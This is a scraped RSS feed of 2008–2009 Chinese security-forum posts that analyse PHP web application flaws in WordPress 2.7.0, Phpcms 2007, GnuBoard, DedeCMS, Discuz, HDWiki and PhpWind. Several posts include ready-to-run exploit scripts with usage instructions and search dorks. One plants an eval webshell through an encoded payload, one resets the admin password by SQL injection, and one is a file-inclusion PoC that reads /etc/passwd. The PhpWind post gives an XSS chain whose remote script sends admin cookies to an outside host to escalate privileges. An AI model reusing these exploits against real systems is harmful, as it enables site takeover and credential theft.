        $message = "POST ".$path."member/userinfo.php  HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Accept-Language: zh-cn\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
        $message .= "CLIENT-IP: ryat\\\r\n";
        $message .= "Host: $host\r\n";
        $message .= "Content-Length: ".strlen($cmd)."\r\n";
        $message .= "Connection: Close\r\n";
        $message .= "Cookie: ".$cookie[1]."\r\n\r\n";
        $message .= $cmd;
    } else {
        $cmd = "username=$user&password=$pass&step=2";
        
        $message = "POST ".$path."login.php  HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Accept-Language: zh-cn\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
        $message .= "Host: $host\r\n";
        $message .= "Content-Length: ".strlen($cmd)."\r\n";
        $message .= "Connection: Close\r\n\r\n";
        $message .= $cmd;
    }
    
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    
    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
    
    return $resp;
}

?>
]]> Sun, 25 Jan 2009 06:48:48 +0000 http://bbs.wolvez.org/topic/43/new/posts/ <![CDATA[GnuBoard本地文件包含漏洞]]> http://bbs.wolvez.org/topic/41/new/posts/ By Flyh4t
http://bbs.wolvez.org/

GnuBoard是韩国比较常见的一个论坛，存在较多的漏洞，其中common.php存在一个文件包含漏洞
看common.php代码

@extract($_GET);
@extract($_POST);
@extract($_SERVER); 

……

if (!$g4_path || preg_match("/:\/\//", $g4_path))
    die("<meta http-equiv='content-type' content='text/html; charset=$g4[charset]'><script language='JavaScript'> alert('肋给等 规过栏肺 函荐啊 沥狼登菌嚼聪促.'); </script>"); 
   
//if (!$g4_path) $g4_path = ".";

$g4['path'] = $g4_path; //只限制了$g4_path不能有字符 ://

unset($g4_path);

include_once("$g4[path]/lib/constant.php");  //本地文件包含漏洞
include_once("$g4[path]/config.php");  
include_once("$g4[path]/lib/common.lib.php");

poc 

http://test.com/GnuBoard/common.php?g4_path=../../../../../../../etc/passwd%00
]]> Thu, 15 Jan 2009 04:42:06 +0000 http://bbs.wolvez.org/topic/41/new/posts/ <![CDATA[dedecms v53鸡肋中的一个鸡肋]]> http://bbs.wolvez.org/topic/40/new/posts/ dedecms v53安装文件的bug

install/index.php

$insLockfile = dirname(__FILE__).'/install_lock.txt';

……

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
     foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}

//可以覆盖$insLockfile为任意值

require_once(DEDEINC.'/common.func.php');

if(file_exists($insLockfile))
{
    exit(" 程序已运行安装，如果你确定要重新安装，请先从FTP中删除 install/install_lock.txt！");
}

所以，生成了install_lock.txt，依旧还是能通过覆盖变量来访问安装文件的

]]> Wed, 31 Dec 2008 11:53:48 +0000 http://bbs.wolvez.org/topic/40/new/posts/ <![CDATA[Wordpress 2.7.0 remote code execution vulnerability]]> http://bbs.wolvez.org/topic/37/new/posts/ by Ryat
http://www.wolvez.org
2008-12-18

这个漏洞出在后台:(

wp-admin/post.php

    if ( current_user_can('edit_post', $post_ID) ) {
        if ( $last = wp_check_post_lock( $post->ID ) ) {
            $last_user = get_userdata( $last );
            $last_user_name = $last_user ? $last_user->display_name : __('Somebody');
            $message = sprintf( __( 'Warning: %s is currently editing this post' ), wp_specialchars( $last_user_name ) );
            $message = str_replace( "'", "\'", "<div class='error'><p>$message</p></div>" );
            //提交\'经过此处代码处理后变为\\' :)
            add_action('admin_notices', create_function( '', "echo '$message';" ) );
            //利用上面的方法闭合echo后面的单引号,就可以执行命令了[ex:\';phpinfo();\'];另外这个地方也可以利用create_function函数自身的一个bug[1]来执行命令[ex:\';}phpinfo();//]
        } else {
            wp_set_post_lock( $post->ID );
            wp_enqueue_script('autosave');
        }
    }

EXP:

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Wordpress 2.7.0 remote code execution exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
site: http://www.80vul.com
dork: "powered by WordPress"
+---------------------------------------------------------------------------+
');
/**
 * works regardless of php.ini settings
 */
if ($argc < 6) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user pass post
host:      target server (ip/hostname)
path:      path to wordpress
user:      admin login username
pass:      admin login password
post:      the available post id
Example:
php '.$argv[0].' localhost /wp/ admin 123456 1
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];
$post = $argv[5];

$shellcode = '\\\';eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));\\\'';
//$shellcode = '\\\';}eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));//';
$shell = 'http://'.$host.$path.'wp-content/plugins/wolvez.php';
/**
 * wolvez.php has this code:
 * <?eval($_POST[c])?>
 */
$url = $path.'wp-login.php';
$cmd = 'log='.urlencode($user).'&pwd='.urlencode($pass);
$resp = send();
preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/', $resp, $admin_cookie);

if (!$admin_cookie)
    exit("Exploit Failed!\n");
    
$url = $path.'wp-admin/user-new.php#add-new-user';
$cmd = '';
$resp = send($admin_cookie[1]);
preg_match('/name="_wpnonce"\svalue="([a-z0-9]{10})"/', $resp, $_wpnonce);

if (!$_wpnonce)
    exit("Exploit Failed!\n");

$cmd = '_wpnonce='.$_wpnonce[1].'&action=adduser&user_login=ryat&email=ryat%40ryat.com&pass1=123456&pass2=123456&role=editor&display_name='.$shellcode;
$resp = send($admin_cookie[1]);

if (strpos($resp, 'users.php?usersearch=ryat&update=add#user') === false)
    exit("Exploit Failed!\n");

$url = $path.'wp-login.php';
$cmd = 'log=ryat&pwd=123456';
$resp = send();
preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/', $resp, $editor_cookie);

if (!$editor_cookie)
    exit("Exploit Failed!\n");

$url = $path.'wp-admin/post.php?action=edit&post='.$post;
$cmd = '';
send($editor_cookie[1]);
send($admin_cookie[1]);

if (strpos(file_get_contents($shell), 'puret_t') !== false)
    exit("Expoilt Success!\nView Your shell:\t$shell\n");
else
    exit("Exploit Failed!\n");

function send($cookie = '')
{
    global $host, $path, $url, $cmd;

    $data = "POST $url  HTTP/1.1\r\n";
    $data .= "Accept: */*\r\n";
    $data .= "Accept-Language: zh-cn\r\n";
    $data .= "Referer: http://$host$path\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $data .= "Host: $host\r\n";
    $data .= "Content-Length: ".strlen($cmd)."\r\n";
    $data .= "Connection: Close\r\n";
    $data .= "Cookie: $cookie\r\n\r\n";
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>

参考:
[1]http://www.80sec.com/php-create_functio … ility.html

]]> Thu, 18 Dec 2008 06:03:11 +0000 http://bbs.wolvez.org/topic/37/new/posts/ <![CDATA[DZ2.2F&Dede V5.1 $_FILES数组处理不当导致变量覆盖漏洞]]> http://bbs.wolvez.org/topic/32/new/posts/ by Ryat
http://www.wolvez.org
2008-12-02

i)dz22f

include/common.php

$_DSESSION = $_DCACHE = array(); //初始化了$_DCACHE等变量
...
if(!$register_globals || !$magic_quotes_gpc) {
    @extract(daddslashes($HTTP_POST_VARS), EXTR_SKIP);
    @extract(daddslashes($HTTP_GET_VARS), EXTR_SKIP);
    if(!$register_globals) {
        foreach($HTTP_POST_FILES as $key => $val) {
            $$key = $val['tmp_name'];
            //这个地方可以覆盖任意变量,比如通过构造$_FILES[_DCACHE]来覆盖$_DCACHE;不过这个tmp_name不能控制[虽然不能控制,但重要的是$_DCACHE被覆盖成了字符串:)]
            ${$key.'_name'} = $val['name'];
            ${$key.'_size'} = $val['size'];
            ${$key.'_type'} = $val['type'];
        }
    }
}
...
@extract($_DCACHE['settings']);
//利用上面的方法覆盖$_DCACHE后,这个地方将导致大量的变量没有初始化,这个思路和[1]SODB-2008-13类似:)

一些基于dz22f二次开发的程序[如saforums]也受此漏洞影响

ii)dede v51

include/config_base.php

foreach($_REQUEST AS $_k => $_v) { 
    if(eregi("^(globals|cfg_)",$_k)) exit('Request var not allow!');
}
...
require_once(DEDEINC.'/config_hand.php');   //这里$cfg_online_type有初始化
...
require_once(DEDEINC.'/inc_request_vars.php');

include/inc_request_vars.php

foreach(Array('_GET','_POST','_COOKIE') as $_request) 
{
     foreach($$_request as $_k => $_v){
          if($_k{0} != '_') ${$_k} = RunMagicQuotes($_v); //可惜这个地方没法覆盖$_FILES
     }
}

if(is_array($_FILES))
{
  $cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
  $keyarr = array('name','type','tmp_name','size');
  foreach($_FILES as $_key=>$_value)
  {
      foreach($keyarr as $k) {
          if(!isset($_FILES[$_key][$k])) exit('Request Error!');
      }
      $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']);
      //这个地方也可利用下[虽然不能控制tmp_name],比如覆盖上面的$cfg_not_allowall?
      ${$_key.'_name'} = $_FILES[$_key]['name'];
      ${$_key.'_type'} = $_FILES[$_key]['type'] = eregi_replace('[^0-9a-z\./]','',$_FILES[$_key]['type']);
      //这个地方通过构造$_FILES[cfg_online]就可以覆盖$cfg_online_type了,而且我们可以控制这个值:)
      ${$_key.'_size'} = $_FILES[$_key]['size'] = ereg_replace('[^0-9]','',$_FILES[$_key]['size']);
      if(!empty(${$_key.'_name'}) && (eregi("\.(".$cfg_not_allowall.")$",${$_key.'_name'}) || !ereg("\.",${$_key.'_name'})) )
      {
           if(!defined('DEDEADMIN')) exit('Upload filetype not allow !');
      }
      if(empty(${$_key.'_size'})) ${$_key.'_size'} = @filesize($$_key);
  }

}

member/buy_action.php

if(empty($cfg_online_type)) $cfg_online_type = 'none';
require_once(dirname(__FILE__).'/config_pay_'.$cfg_online_type.'.php');
//用上面的方法覆盖$cfg_online_type，就可以触发本地包含漏洞了:)

参考:
[1]http://www.80vul.com/dzvul/sodb/13/sodb-2008-13.txt

]]> Tue, 02 Dec 2008 07:23:11 +0000 http://bbs.wolvez.org/topic/32/new/posts/ <![CDATA[快速寻找hdwiki的一个代码执行漏洞]]> http://bbs.wolvez.org/topic/30/new/posts/ By q1ur3n

http://www.wolvez.org/

2008-11-14

说说过程吧,当然这样的洞是很低级的,纯属给大家娱乐。:)

安装好hdwiki后我注册了一个名为testtest的用户，然后cmd下cd到hdwiki的目录，执行
findstr /s /i /n "testtest" *.php
结果如下：
wikidata\cache\cache_index_chartsuser.php:1:a:2:{i:0;a:5:{s:7:"user_id";s:1:"2";
s:9:"user_nick";s:4:"root";s:10:"user_click";s:1:"0";s:13:"user_nick_alt";s:4:"r
oot";s:15:"user_rewriteurl";s:18:"space.php?userid=2";}i:1;a:5:{s:7:"user_id";s:
2:"14";s:9:"user_nick";s:8:"testtest";s:10:"user_click";s:1:"0";s:13:"user_nick_
alt";s:8:"testtest";s:15:"user_rewriteurl";s:19:"space.php?userid=14";}}

wikidata\cache\cache_index_activeuser.php:1:a:2:{i:0;a:5:{s:7:"user_id";s:1:"2";s:9:"use
r_nick";s:4:"root";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt";s:4:"root";
s:15:"user_rewriteurl";s:18:"space.php?userid=2";}i:1;a:5:{s:7:"user_id";s:2:"14
";s:9:"user_nick";s:4:"tes.";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt";s
:8:"testtest";s:15:"user_rewriteurl";s:19:"space.php?userid=14";}}

wikidata\cache\cache_index_latestuser.php:1:a:2:{i:0;a:5:{s:7:"user_id";s:2:"14";s:9:"user_nic
k";s:4:"tes.";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt";s:8:"testtest";s
:15:"user_rewriteurl";s:19:"space.php?userid=14";}i:1;a:5:{s:7:"user_id";s:1:"2"
;s:9:"user_nick";s:4:"root";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt";s:
4:"root";s:15:"user_rewriteurl";s:18:"space.php?userid=2";}}

可以看到testtest被写入了这三个php文件里了,并且这三个php缓存文件可以正常执行,

于是我接着注册了一个名为q1ur3n<?phpinfo();?>的用户,再退出登陆了一次,

cmd下执行findstr /s /i /n "q1ur3n<?phpinfo();?>" *.php

结果如下

wikidata\cache\cache_index_chartsuser.php:1:a:3:{i:0;a:5:{s:7:"user_id";s:1:"2";
s:9:"user_nick";s:4:"root";s:10:"user_click";s:1:"0";s:13:"user_nick_alt";s:4:"r
oot";s:15:"user_rewriteurl";s:18:"space.php?userid=2";}i:1;a:5:{s:7:"user_id";s:
2:"14";s:9:"user_nick";s:8:"testtest";s:10:"user_click";s:1:"0";s:13:"user_nick_
alt";s:8:"testtest";s:15:"user_rewriteurl";s:19:"space.php?userid=14";}i:2;a:5:{
s:7:"user_id";s:2:"15";s:9:"user_nick";s:6:"q1ur3.";s:10:"user_click";s:1:"0";s:
13:"user_nick_alt";s:20:"q1ur3n<?phpinfo();?>";s:15:"user_rewriteurl";s:19:"spac
e.php?userid=15";}}

wikidata\cache\cache_index_activeuser.php:1:a:3:{i:0;a:5:{s:7:"user_id";s:1:"2";s:9:"user_nick";s:4:"root";s:14:"user_small_ico";s:0:"";s:13:
"user_nick_alt";s:4:"root";s:15:"user_rewriteurl";s:18:"space.php?userid=2";}i:1
;a:5:{s:7:"user_id";s:2:"14";s:9:"user_nick";s:4:"tes.";s:14:"user_small_ico";s:
0:"";s:13:"user_nick_alt";s:8:"testtest";s:15:"user_rewriteurl";s:19:"space.php?
userid=14";}i:2;a:5:{s:7:"user_id";s:2:"15";s:9:"user_nick";s:4:"q1u.";s:14:"use
r_small_ico";s:0:"";s:13:"user_nick_alt";s:20:"q1ur3n<?phpinfo();?>";s:15:"user_
rewriteurl";s:19:"space.php?userid=15";}}

wikidata\cache\cache_index_latestuser.php:1:a:3:{i:0;a:5:{s:7:"user_id";s:2:"15";s:9:"user_nick";s:4:"q1u.";s:14:"user_
small_ico";s:0:"";s:13:"user_nick_alt";s:20:"q1ur3n<?phpinfo();?>";s:15:"user_re
writeurl";s:19:"space.php?userid=15";}i:1;a:5:{s:7:"user_id";s:2:"14";s:9:"user_
nick";s:4:"tes.";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt";s:8:"testtest
";s:15:"user_rewriteurl";s:19:"space.php?userid=14";}i:2;a:5:{s:7:"user_id";s:1:
"2";s:9:"user_nick";s:4:"root";s:14:"user_small_ico";s:0:"";s:13:"user_nick_alt"
;s:4:"root";s:15:"user_rewriteurl";s:18:"space.php?userid=2";}}

访问
http://localhost/hdwiki/wikidata/cache/cache_index_chartsuser.php
http://localhost/hdwiki/wikidata/cache/cache_index_latestuser.php
http://localhost/hdwiki/wikidata/cache/cache_index_activeuser.php

可爱的phpinfo出来了.:)

当然能碰到这样的漏洞也真的需要人品好才行(我当时有去买彩票的冲动),

不过作为php漏洞的fuzz这个应该算是很典型的。

哦,hdwiki的版本是3.1的,比较老。

]]> Sun, 16 Nov 2008 14:27:11 +0000 http://bbs.wolvez.org/topic/30/new/posts/ <![CDATA[is_numeric()和intval()的安全隐患]]> http://bbs.wolvez.org/topic/28/new/posts/ by Ryat
http://www.wolvez.org
2008-11-04

is_numeric()常常用来在进行数据库查询时检测变量是否为数字或者数字字符串,如下面的代码片断:

...
$tid = isset($tid) && is_numeric($tid) ? $tid : 0;
$db->query("SELECT * FROM threads LIMIT $tid");
...

但is_numeric()不仅支持十进制数字,也支持如十六进制等其他进制的数字,比如提交:

tid=0x1

执行上面的代码,报错了:

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0x01' at line 1

还有的程序会用intval()对变量进行类型转换:

$tid = isset($tid) && is_numeric($tid) ? intval($tid) : 0;

intval虽然默认时只支持十进制数字,但依然会有问题,比如提交:

tid=-1 //十进制的负数

执行上面的代码,依然报错:)

另外还需要注意的是intval()的转换范围[在1-2^31~2^31-1之间]:)

]]> Tue, 04 Nov 2008 04:44:09 +0000 http://bbs.wolvez.org/topic/28/new/posts/ <![CDATA[Phpcms2007 更改管理员密码漏洞]]> http://bbs.wolvez.org/topic/26/new/posts/ by Ryat
http://www.wolvez.org
2008-10-01

这个漏洞没什么，可能利用上有点意思，我简单说下自己的思路：

$mod = $digg_mod;
$digg_setting = cache_read('digg_setting.php');
@extract($digg_setting);
//包含了digg模块的配置文件，并执行了extract
unset($digg_setting);
if ($mod && $id)
//这里的$mod，$id是可以利用的
{
    $table_end = $channelid == 0?'':'_' . $channelid;
    $table_name = $CONFIG['tablepre'] . $mod . $table_end;
    $mod_id = $mod . 'id';
    ......
    {
        $sql = "SELECT * FROM $table_name WHERE $mod_id=$id";
        //这里可以select出需要的任何数据，但是下面并没有比较好的输出数据的地方
    }
    $res = $db->get_one($sql);
    @extract($res);
    //注意这里，这里对select出数据的执行了extract,如果可以控制查询的数据，就可以覆盖任意变量了:)
    ......
    if ($credit_on == 1 && $con && $con != 5 && $con != 0)
    {
        $sql = "SELECT `credit` FROM " . TABLE_MEMBER . " WHERE `username`='$editor'";
        $res_member = $db->get_one($sql);
        if ($res_member)
        {
            if ($con == 3)
            {
                $credit = $res_member['credit'] - $credit_num;
            }
            if ($con == 1 || $con == 2)
            {
                $credit = $res_member['credit'] + $credit_num;
            }
            $db->query("UPDATE " . TABLE_MEMBER . " SET `credit`='$credit' WHERE `username`='$editor'");
            /*
            * 这里就是最终要利用的地方了
            * $credit_on是在digg_setting.php里定义的，但可以利用前面的extract覆盖掉
            * $editor,$credit也利用前面的extract的来覆盖，因为这样是从数据库中查询出的数据，是不受GPC影响的:)
            */
        }
    }

前面就是具体的利用思路，再来说说这个sql语句的构造，因为我们需要$credit_on,$editor,$credit这三个变量，所以要有相应的字段，完整的sql语句如下：

SELECT * FROM [tablepre][table_name],(SELECT 1 AS credit_on,[1',password='[password]' WHERE username='[admin]'#] AS credit,[' UNION SELECT 1#] AS editor) AS [table_name] LIMIT 1# WHERE [mod_id]=[id]

最后，给个EXP：

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Phpcms 2007 SP6 reset admin password exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by Phpcms 2007"
+---------------------------------------------------------------------------+
');
/**
 * works regardless of php.ini settings
 */
if ($argc < 4) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user
host:      target server (ip/hostname)
path:      path to phpcms
user:      admin login name
Example:
php '.$argv[0].' localhost /phpcms/ admin
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];

$url = 'http://'.$host.$path.'member/member.php?username='.$user;

send();

if (strpos(file_get_contents($url), 'puret_t') !== false)
    exit("Expoilt Success!\nAdmin New Password:\t123456\n");
else
    exit("Exploit Failed!\n");

function send()
{
    global $host, $path, $user;

    $cmd = 'digg_mod=admin,(SELECT/**/1/**/AS/**/credit_on,0x'.bin2hex('1\',password=\'e10adc3949ba59abbe56e057f20f883e\',email=\'puret_t\',showemail=1 WHERE username=\''.$user.'\'#').'/**/AS/**/credit,0x'.bin2hex('\' UNION SELECT 1#').'/**/AS/**/editor)/**/AS/**/ryat/**/LIMIT/**/1%23&id=1&con=6';

    $message = "POST ".$path."digg/digg_add.php  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "CLIENT-IP: ".time()."\r\n";
    $message .= "Host: $host\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>
]]> Mon, 03 Nov 2008 11:42:27 +0000 http://bbs.wolvez.org/topic/26/new/posts/ <![CDATA[关于date()]]> http://bbs.wolvez.org/topic/25/new/posts/ by Ryat
http://www.wolvez.org
2008-07-17

先看一个有意思的exp:http://milw0rm.com/exploits/6085

里面提到了date()函数的一个有意思的特性[摘自PHP手册中的一段解释]:
格式字串中不能被识别的字符将原样显示,在格式字串中的字符前加上反斜线来转义可以避免它被按照上表解释,
注意要转义所有其它的字符，因为目前有特殊含义的字符会产生不需要的结果，而其余字符在PHP将来的版本中可能会被用上

简单的看一下相关的php源码

...
for (i = 0; i < format_len; i++) {
    switch (format[i]) {
        /* day */
        case 'd': length = slprintf(buffer, 32, "%02d", (int) t->d); break;
        case 'D': length = slprintf(buffer, 32, "%s", php_date_short_day_name(t->y, t->m, t->d)); break;
        case 'j': length = slprintf(buffer, 32, "%d", (int) t->d); break;
        ...

        case '\\': if (i < format_len) i++; /* break intentionally missing */

        default: buffer[0] = format[i]; buffer[1] = '\0'; length = 1; break;
    }
    smart_str_appendl(&string, buffer, length);
}
...

代码比较简单，如果format[ i ]是'\',format[ i+1 ]就执行default,如果format[ i ]不在定义的格式字符串中,format[ i ]就执行default,也就是原样输出:)

如果date()函数的参数是可以控制的话,该如何利用呢,除了上面exp中提到的,还可以再发散下思维,比如:
\'经过date()函数处理会变成'

:)

]]> Mon, 03 Nov 2008 11:40:02 +0000 http://bbs.wolvez.org/topic/25/new/posts/ <![CDATA[The simple exploit for PW6 UBB code XSS]]> http://bbs.wolvez.org/topic/24/new/posts/ by Ryat
http://www.wolvez.org
2008-04-09

还是bbscode.php里的ubb代码问题:

        $searcharray = array(
                "/\[font=([^\[\(&]+?)\]/is",
                ...
        );
        $replacearray = array(
                "<span style=\"font-family:\\1\">",
                ...
        );
        $message = preg_replace($searcharray,$replacearray,$message);

[font=]标签里限制了[(&这个三个字符,不能用(就无法引入函数,而且&# 102,&# x66这样的十进制或十六进制编码形式也无法引入了,但可以用\66这样的十六进制编码形式:)

PoC:

[font=\65\78\70\72\65\73\73\69\6f\6e\28\69\66\28\77\69\6e\64\6f\77\2e\78\21\3d\27\70\27\29\7b\61\6c\65\72\74\28\27\78\73\73\27\29\3b\77\69\6e\64\6f\77\2e\78\3d\27\70\27\3b\7d\29]

编码前的代码如下:

[font=expression(if(window.x!='p'){alert('xss');window.x='p';})]

这样仅仅弹个窗没什么意义,下面给出一个利用思路,利用好的话可以直接得到管理员权限:)

思路:
发新帖,利用[font=]标签注入恶意js ++++> 诱骗管理员浏览 ++++> 劫持管理员浏览器(cookie),利用XMLHttp获得$verify ++++> 利用获得的管理员cookie,user agent,verify伪造http请求,提升用户权限

思路大致就是这样的,下面直接给出利用的代码,应该是比较简单的东西:)

发帖时利用的ubb code:

[font=\65\78\70\72\65\73\73\69\6f\6e\28\69\66\28\77\69\6e\64\6f\77\2e\78\21\3d\27\70\27\29\7b\65\76\61\6c\28\53\74\72\69\6e\67\2e\66\72\6f\6d\43\68\61\72\43\6f\64\65\28\31\31\35\2c\36\31\2c\31\30\30\2c\31\31\31\2c\39\39\2c\31\31\37\2c\31\30\39\2c\31\30\31\2c\31\31\30\2c\31\31\36\2c\34\36\2c\39\39\2c\31\31\34\2c\31\30\31\2c\39\37\2c\31\31\36\2c\31\30\31\2c\36\39\2c\31\30\38\2c\31\30\31\2c\31\30\39\2c\31\30\31\2c\31\31\30\2c\31\31\36\2c\34\30\2c\33\39\2c\31\31\35\2c\39\39\2c\31\31\34\2c\31\30\35\2c\31\31\32\2c\31\31\36\2c\33\39\2c\34\31\2c\35\39\2c\31\31\35\2c\34\36\2c\31\31\35\2c\31\31\34\2c\39\39\2c\36\31\2c\33\39\2c\31\30\34\2c\31\31\36\2c\31\31\36\2c\31\31\32\2c\35\38\2c\34\37\2c\34\37\2c\31\31\39\2c\31\31\39\2c\31\31\39\2c\34\36\2c\31\31\39\2c\31\31\31\2c\31\30\38\2c\31\31\38\2c\31\30\31\2c\31\32\32\2c\34\36\2c\31\31\31\2c\31\31\34\2c\31\30\33\2c\34\37\2c\39\39\2c\31\31\35\2c\31\31\34\2c\31\30\32\2c\34\36\2c\31\30\36\2c\31\31\35\2c\33\39\2c\35\39\2c\31\30\30\2c\31\31\31\2c\39\39\2c\31\31\37\2c\31\30\39\2c\31\30\31\2c\31\31\30\2c\31\31\36\2c\34\36\2c\39\38\2c\31\31\31\2c\31\30\30\2c\31\32\31\2c\34\36\2c\39\37\2c\31\31\32\2c\31\31\32\2c\31\30\31\2c\31\31\30\2c\31\30\30\2c\36\37\2c\31\30\34\2c\31\30\35\2c\31\30\38\2c\31\30\30\2c\34\30\2c\31\31\35\2c\34\31\2c\35\39\29\29\3b\77\69\6e\64\6f\77\2e\78\3d\27\70\27\3b\7d\29]

编码前的代码如下:

[font=expression(if(window.x!='p'){eval(String.fromCharCode(115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,119,111,108,118,101,122,46,111,114,103,47,99,115,114,102,46,106,115,39,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59));window.x='p';})]

String.fromCharCode()里的内容为如下代码的10进制编码:

s=document.createElement('script');s.src='http://www.wolvez.org/csrf.js';document.body.appendChild(s);

这里http://www.wolvez.org/csrf.js就是远程调用的恶意javascript代码:

function puret_t() {
        var xmlHttp;
        // IE...
        if (window.ActiveXObject) {
                var XmlHttpVersions = new Array('MSXML2.XMLHTTP.6.0',
                                                'MSXML2.XMLHTTP.5.0',
                                                'MSXML2.XMLHTTP.4.0',
                                                'MSXML2.XMLHTTP.3.0',
                                                'MSXML2.XMLHTTP',
                                                'Microsoft.XMLHTTP');
                for (var i = 0; i < XmlHttpVersions.length && !xmlHttp; i ++) {
                        try {
                                xmlHttp = new ActiveXObject(XmlHttpVersions);
                        } catch (e) {
                                try {
                                        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
                                } catch (e) {
                                        xmlHttp = false;
                                }
                        }
                }
        // Non-IE...
        } else {
                xmlHttp = false;
        }
        
        if (!xmlHttp) {
                return false;
        }
        
        xmlHttp.open("GET", "http://www.puretot.com/phpwind/admin.php?adminjob=setuser", false);
        xmlHttp.send();
        var str = xmlHttp.responseText;
        var reg = /\<form action=\"\/phpwind\/admin.php\?adminjob=setuser&verify=(\w+&)\"/i;
        var arr = reg.exec(str);

        var url = "http://www.wolvez.org/puret_t.php?verify="+arr[1]+"cookie="+document.cookie;
        var image = new Image();
        image.src = url;
}
puret_t();

利用XMLHttp获取verify,由于expression属于IE独有的属性,所以这段代码基本没对非IE核心的浏览器做什么处理.
这里http://www.puretot.com/phpwind/就是要攻击的目标论坛,而puret_t.php中的代码如下:

<?php

error_reporting(7);

if (get_magic_quotes_gpc()) {
        function stripslashes_array($array)
        {
                return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
        }
        $_GET = stripslashes_array($_GET);
}

$verify = isset($_GET['verify']) ? (preg_match('#^[a-z0-9]{8}$#iD', $_GET['verify']) ? $_GET['verify'] : NULL) : NULL;
$cookie = isset($_GET['cookie']) ? $_GET['cookie'] : NULL;

$host = 'www.puretot.com';
$path = '/phpwind/';
$agent = $_SERVER['HTTP_USER_AGENT'];
$post = 'action=edutgroup&gid%5B2%5D=3';

if ($verify && $cookie)
        send($verify, $cookie);

function send($verify, $cookie)
{
        global $host, $path, $agent, $post;

        $message = "POST ".$path."admin.php?adminjob=setuser&verify=$verify  HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Referer: http://".$host.$path."admin.php?adminjob=setuser&verify=$verify\r\n";
        $message .= "Accept-Language: zh-cn\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "User-Agent: $agent\r\n";
        $message .= "Host: $host\r\n";
        $message .= "Content-Length: ".strlen($post)."\r\n";
        $message .= "Connection: Close\r\n";
        $message .= "Cookie: $cookie\r\n\r\n";
        $message .= $post;
        
        $fp = fsockopen($host, 80);
        fputs($fp, $message);

}

?>
$post = 'action=edutgroup&gid%5B2%5D=3';

这句中gid[2]是要提升权限的用户uid,这里之所以用php伪造http提交,是考虑到referer的问题(貌似pw6验证的很严格?),如果你有更好的解决方法,还望赐教:)

整个利用分析就是这些了.思路上没什么新东西,代码也很简单,不过由于这是本人第一次深入研究xss的利用,感觉还是有很多收获的.如果浪费了某些xss牛的时间,还请见谅 :p

另附上我转换编码时用的两段php代码:
i)字符串转换为16进制

<?php

$a = '';     // 要转换的字符串
$l = strlen($a);
$b = '';
for ($i = 0; $i < $l; $i ++) {
        $b .= '\\'.bin2hex($a{$i});
}
echo $b;

